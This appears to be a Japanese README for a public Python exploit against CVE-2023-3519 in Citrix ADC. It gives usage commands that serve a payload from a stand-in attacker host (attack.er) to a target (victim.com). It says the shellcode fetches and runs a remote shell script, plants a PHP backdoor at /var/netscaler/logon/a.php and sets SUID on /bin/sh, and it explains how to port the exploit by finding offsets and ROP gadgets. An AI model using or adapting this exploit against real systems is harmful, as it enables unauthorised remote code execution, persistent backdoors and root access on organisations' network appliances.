
CVE-2023-3519を標的としたCitrix ADC向けのPythonエクスプロイト。カスタムNASMシェルコード、PHPバックドアの展開、SUID権限昇格を備えています。
このエクスプロイトは、Citrix VPX 13.1-48.47向けのアドレスとシェルコードを使用しています。完全な解説は、こちらをクリックしてください。
シェルコードをビルドするにはNASMが必要です。
$ sudo apt install nasm
含まれているシェルコードは、リモートのhttp(s)サーバーからシェルスクリプトをダウンロードして実行します。スクリプトは3つの引数を受け取ります: ターゲットホスト、ターゲットポート、シェルスクリプトペイロードのURLです。idとuname -aを実行してから後処理を行うペイロードの例がこのリポジトリに含まれています。
$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a
URLはシェルコードバッファに収まるように十分短くなければならず、長すぎると警告が表示されます。
シェルコードは、/var/netscaler/logon/a.phpにPHPバックドアを作成し、/bin/shにSUIDビットを設定します。含まれているshペイロードは、これらのアーティファクトを自動的にクリーンアップする例を示しています。また、シェルコードはファイル記述子を閉じないため、過度の繰り返しエクスプロイトはリソース枯渇を引き起こす可能性があります。
FreeBSDベースのCitrixターゲットの場合、見つける必要があるのは3つの値だけです: 保存されたリターンポインタのオフセット、jmp rsp ROPガジェット(またはpush rsp; ret;などの同等のもの)、そしてクラッシュを回避するためにジャンプするアドレスです。これらのパラメータはすべてcve-2023-3519.pyの上部近くにハードコードされています。